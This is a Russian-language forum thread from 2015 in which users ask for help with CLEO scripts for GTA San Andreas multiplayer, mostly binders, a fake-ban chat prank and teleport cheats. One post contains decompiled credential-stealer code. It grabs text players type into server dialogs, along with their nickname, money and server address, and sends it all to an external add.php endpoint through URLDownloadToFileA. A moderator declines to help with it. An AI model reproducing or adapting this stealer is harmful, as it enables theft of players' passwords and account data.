[CLEO] Помощь по редактированию скриптов
Nikkei001
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 661
Новичок
Сообщений: 12
Статус: Offline
Всем привет. Возник вопросец. Вот код
Код
{$CLEO .cs} //-------------MAIN--------------- 0000: NOP thread 'FAKE' :FAKE_13 wait 0 if SAMP.Available else_jump @FAKE_13 12@ = SAMP.Base() 0B34: samp register_client_command "fban" to_label @FAKE_446 0AC8: 3@ = allocate_memory_size 70 0AC8: 4@ = allocate_memory_size 70 0AC8: 5@ = allocate_memory_size 70 0AF4: 3@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "admin" 0AF4: 4@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "igrok" 0AF4: 5@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "prichina" :FAKE_435 wait 0 jump @FAKE_435 :FAKE_446 wait 0 0AF4: 3@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "admin" 0AF4: 4@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "igrok" 0AF4: 5@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "prichina" 0AF8: samp add_message_to_chat " Àäìèíèñòðàòîð: %s çàáàíèë %s. Ïðè÷èíà: %s" color 0xFF6347 3@ 4@ 5@ 0AF8: samp add_message_to_chat "Server closed the connection." color 0xA9C4E4 SAMP.CmdRet jump @FAKE_446
Так вот, Там вначале скрипта идет Код
0AC8: 3@ = allocate_memory_size 70 0AC8: 4@ = allocate_memory_size 70 0AC8: 5@ = allocate_memory_size 70 0AF4: 3@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "admin" 0AF4: 4@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "igrok" 0AF4: 5@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "prichina"
И потом опять же, когда введешь команду идет Код
0AF4: 3@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "admin" 0AF4: 4@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "igrok" 0AF4: 5@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "prichina" 0AF8: samp add_message_to_chat " Àäìèíèñòðàòîð: %s çàáàíèë %s. Ïðè÷èíà: %s" color 0xFF6347 3@ 4@ 5@
Можно ли убрать те три строчки прочтения из кода: Код
0AC8: 3@ = allocate_memory_size 70 0AC8: 4@ = allocate_memory_size 70 0AC8: 5@ = allocate_memory_size 70 0AF4: 3@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "admin" 0AF4: 4@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "igrok" 0AF4: 5@ = read_string_from_ini_file "CLEO\fbanSRP.ini" section "fban" key "prichina"
Чтоб было так Код
0AC8: 3@ = allocate_memory_size 70 0AC8: 4@ = allocate_memory_size 70 0AC8: 5@ = allocate_memory_size 70
Мне кажется они не нужны.. И еще, этот скрипт же работает так, что не выходя из игры можно менять текст и будет выдавать новое, без релога? Спасибо
[CM]Chubacka
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 662
Новичок
Сообщений: 26
Статус: Offline
Научите делать Cleo))0
═════════════════════════════════════════ ══██████═════════════════════════██████══ ══███══════█████═════██═══════██════███══ ══███═════██═══██════███═════███════███═C ══███════██═════██═══██▀█═══█▀██════███═H ══███════██═════██═══██═▀█═█▀═██════███═U ══███════██══════════██══▀█▀══██════███═B ══███════██══════════██═══▀═══██════███═A ══███════██═════██═══██═══════██════███═C ══███════██═════██═══██═══════██════███═K ══███═════██═══██════██═══════██════███═A ══███══════█████═════██═══════██════███══ ══██████═════════════════════════██████══ ═════════════════════════════════════════
HenryTeylor
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 663
Новичок
Сообщений: 21
Статус: Offline
Цитата [CM]Chubacka (
)
Научите делать Cleo))0
Справка SB позволить понять азы. Уроки на нашем сайте, и сторонних ресурсах. Есть желание - изучайте
[CM]Perez[CM]
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 664
Боец
Сообщений: 92
Статус: Offline
Короче решил сделать клео в котором при нажатии правого CTRL-a: 1.Эмулировалось нажатие кнопки B(Английская) (эта кнопка у меня разморозка в собейте ) 2.Потом прописывался в чат /lock Так вот почему-то не нажимается B. Посмотрите код правильно ли я сделал? Код
{$CLEO .cs} Thread "Binder" 8AF7: not get_samp_base_to 29@ if 0AA2: 0@ = load_library "kernel32.dll" // IF and SET jf @error_load_kernel32 :2 wait 400 0AFA: is_samp_structures_available jf @2 :3 wait 0 if 0ab0: key_pressed 0xA3 jf @3 wait 50 0DC6: emul_char_press 0x66 is_up true wait 50 0AF9: samp say_msg "/lock" jump @3
Если нужна помощь в поиске чего либо или просто помощь пиши в ЛС.Помогу чем нибудь. ВК-- https://vk.com/id94548022 Мои достижения: 365 дней на CM [+] 200 репутации [+] Пользователь [+] 500 дней на СМ [+] 500 репутации [+] Клан CM [-] 1000 дней на CM [+] 1000 репутации [-] Проверенный [-] 1500 дней на CM [-] 2000 репутации [-] Админ-Совет [-] Это не скоро :D
[CM]Astap
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 665
Авторитет
Сообщений: 1238
Статус: Offline
Код
0B34: samp register_client_command "vvsm" to_label @ast while true wait 0 if 13@ == 1 then 0B2E: 30@ = read_samp_memory offset 0xB110 size 2 0B2D: write_samp_memory offset 0xB110 value 0xC390 size 2 Actor.StorePos($PLAYER_ACTOR, 1@, 2@, 3@) Actor.PutAt($PLAYER_ACTOR, 401.4500 2541.0200 16.5500) wait 500 0af9: "/primercomandi 6" wait 500 Actor.PutAt($PLAYER_ACTOR, 1@, 2@, 3@)
Вот часть кода, тут короче, игрок должен ТПшится на корды, прописать команду и ТПшится обратно (на место активации) . Но почему то он просто ТПшится туда обратно. Команду не прописывает. В чем проблема?
Cheater CM - 03.10.14 - 09.01.15 Клан СМ - 09.01.15 - 01.03.15 Мл. Модератор - 01.03.15 - 25.06.15 Модератор - 25.06.15
HenryTeylor
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 666
Новичок
Сообщений: 21
Статус: Offline
Цитата [CM
Astap;2303997]Вот часть кода, тут короче, игрок должен ТПшится на корды, прописать команду и ТПшится обратно (на место активации) . Но почему то он просто ТПшится туда обратно. Команду не прописывает. В чем проблема?
Код
{$CLEO .cs} 0000: thread "HenryTeylor" if not 0@ = SAMP.Base() then 0A93: end_custom_thread end while not SAMP.Available() wait 100 end 0B34: samp register_client_command "test" to_label @test while true wait 0 if 1@ == 1 then if not Actor.Driving($PLAYER_ACTOR) then Actor.StorePos($PLAYER_ACTOR, 2@, 3@, 4@) Actor.PutAt($PLAYER_ACTOR, 401.45, 2541.02, 16.55) wait 500 0af9: "/test" wait 500 Actor.PutAt($PLAYER_ACTOR, 2@, 3@, 4@) else 0af8: "Игрок в машине" 0xffffff end end end :test 1@ = 1 Samp.CmdRet()
Сообщение отредактировал HenryTeylor - Воскресенье, 21.09.2014, 17:29
[CM]Astap
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 667
Авторитет
Сообщений: 1238
Статус: Offline
HenryTeylor , теперь команда прописывается. Но теперь игрок бесконечно телепортируется на координаты. Как сделать чтобы ТПшнутся один раз и обратно?
Cheater CM - 03.10.14 - 09.01.15 Клан СМ - 09.01.15 - 01.03.15 Мл. Модератор - 01.03.15 - 25.06.15 Модератор - 25.06.15
Сообщение отредактировал [CM]Astap - Воскресенье, 21.09.2014, 20:30
DubStep_
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 668
{ }
Сообщений: 1406
Статус: Offline
[CM]Astap , добавь 1@ = 0 после строки if 1@ == 1 then
[CM]Pawno
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 669
Боец
Сообщений: 121
Статус: Offline
dell
Изучаю: PHP,PAWN,Cleo
Сообщение отредактировал [CM]Pawno - Вторник, 23.09.2014, 14:33
Egork4
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 670
Новичок
Сообщений: 4
Статус: Offline
Как можно взять текст из введенной команды? Ввожу "/cmd 5 6 текст", где 5 - id, 6 - расстояние, текст - введенный текст. Код
scanstr 2@ 1@ "%d%d%d" 3@ 4@ 7@
id и длинна определяется правильно, но как выдернуть текст из строки и если возможно, то с пробелами. Сейчас показываются закорючки или вообще крашит.
Сообщение отредактировал Egork4 - Понедельник, 29.09.2014, 00:31
Kaban1998
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 671
Новичок
Сообщений: 6
Статус: Offline
Как соединить два скрипта в один?
Кoт
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 672
Сообщений: 1074
Статус: Offline
Цитата Kaban1998 (
)
Как соединить два скрипта в один?
Руками. Берешь копируешь и вставляешь. Какой вопрос - такой ответ . Ты хотя бы показал эти клео...
Kaban1998
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 673
Новичок
Сообщений: 6
Статус: Offline
Этот // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs} //-------------MAIN--------------- thread 'NoName' :NoName_11 not SAMP.Available else_jump @NoName_31 wait 100 jump @NoName_11 :NoName_31 not SAMP.IsDialogActive(-1) else_jump @NoName_53 wait 100 jump @NoName_31 :NoName_53 SAMP.IsDialogActive(-1) else_jump @NoName_453 wait 0 0@ = SAMP.GetDialogID() alloc 6@ 64 :NoName_80 wait 0 6@ = SAMP.GetDialogInputBoxText() not SAMP.IsDialogActive(-1) else_jump @NoName_80 alloc 1@ 24 2@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR) 1@ = SAMP.GetPlayerNickname(2@) wait 500 2@ = Player.Money($PLAYER_CHAR) alloc 3@ 15 SAMP.GetCurrentServerAddress(3@, 4@) alloc 5@ 86 5@ = SAMP.GetCurrentServerName() 0C17: 10@ = strlen 6@ if 10@ > 1 else_jump @NoName_421 alloc 8@ 445 format 8@ "http:%c%сайт%папка%cadd.php?nick=%s&ip=%s:%d&serv=%s&dialog=%d&input=%s&mn=%d" 47 47 47 47 1@ 3@ 4@ 5@ 0@ 6@ 2@ 0AA2: 9@ = load_library "urlmon.dll" // IF and SET 0AA4: 7@ = get_proc_address "URLDownloadToFileA" library 9@ // IF and SET 0AA5: call 7@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 8@ 0 0AA3: free_library 9@ free 8@ :NoName_421 free 1@ free 3@ free 5@ free 6@ wait 500 jump @NoName_53 :NoName_453 0@ = 0 1@ = 0 2@ = 0 3@ = 0 4@ = 0 7@ = 0 5@ = 0 6@ = 0 8@ = 0 9@ = 0 10@ = 0 30@ = 0 31@ = 0 0A93: end_custom_thread wait 0 2@ = 30 :NoName_557 wait 0 1@ = 0 32@ = 0 :NoName_575 wait 0 1@ += 1 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 2@ if 32@ > 999 else_jump @NoName_575 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 1@ 0085: 2@ = 1@ // (int) jump @NoName_55 И вот этот // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs} //-------------MAIN--------------- wait 0 2@ = 30 :Noname_11 wait 0 1@ = 0 32@ = 0 :Noname_29 wait 0 1@ += 1 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 2@ if 32@ > 999 else_jump @Noname_29 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 1@ 0085: 2@ = 1@ // (int) goto @Noname_11
Сообщение отредактировал Kaban1998 - Среда, 08.10.2014, 04:20
Кoт
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 674
Сообщений: 1074
Статус: Offline
Таким не занимаемся
Kaban1998
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 675
Новичок
Сообщений: 6
Статус: Offline
Можно ли сделать такой скрипт? Когда выстреливаешь 49 патронов на м4 и как остаётся 1 патрон, оружие прокручивается т.е нет перезарядки.